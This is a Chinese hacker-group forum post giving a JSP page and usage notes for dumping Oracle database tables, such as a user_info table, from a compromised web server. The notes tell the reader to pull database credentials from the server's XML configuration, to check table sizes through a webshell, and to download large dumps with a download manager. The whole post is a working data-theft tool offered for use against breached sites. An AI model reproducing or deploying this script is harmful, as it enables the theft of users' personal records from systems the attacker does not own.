作者:YoCo Smart
來自:Silic Group Hacker Army
http://blackbap.org
直接看代碼吧
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.lang.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.io.*"%>
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=gb2312">
<title>xxx</title>
<style type="text/css">
body,td{font-size: 12px;}
body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
td{white-space:nowrap;}
a{color:black;text-decoration:none;}
</style>
</head>
<body>
<body>
<table border=1>
<tr>
<td>1</td><td>2</td><td>3</td><td>4</td><td>5</td><td>6</td><td>7</td><td>8</td><td>9</td><td>10</td>
</tr>
<%Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
String url="jdbc:oracle:thin:@localhost:1521:orcl";
String user="oracle_admin";
String password="oracle_password";
Connection conn= DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="SELECT 1,2,3,4,5,6,7,8,9,10 from user_info";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
<tr>
<td><%=rs.getString(1)%></td>
<td><%=rs.getString(2)%></td>
<td><%=rs.getString(3)%></td>
<td><%=rs.getString(4)%></td>
<td><%=rs.getString(5)%></td>
<td><%=rs.getString(6)%></td>
<td><%=rs.getString(7)%></td>
<td><%=rs.getString(8)%></td>
<td><%=rs.getString(9)%></td>
<td><%=rs.getString(10)%></td>
</tr>
<%}%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
使用說明:
line24~line26分別設置Oracle數據庫的登陸url,登陸賬戶和密碼
登陸信息通常位於網站容器的.xml配置文件中。
line29設置要導出的表,導出之前請在webshell或者數據庫中執行select count(*) from 表名 來看一下記錄數。
通常過萬的記錄數可能導致浏覽器耗盡資源等造成崩潰等現象。
select後面跟幾個字段,line21設置幾個td標簽,後面就跟幾個re.getString。
若數據過萬,可在line29的select後面的加一個where rownum < 11來限定一下結果數。若返回結果,則去掉保存,不返回結果請檢查SQL語句語法或連接信息
數據過萬後,保存完設置信息,將此程序url扔進迅雷,FlashGET等程序即可下載,下載中會一直顯示99%直至下載結束,因為下載結束前文件不知道有多大。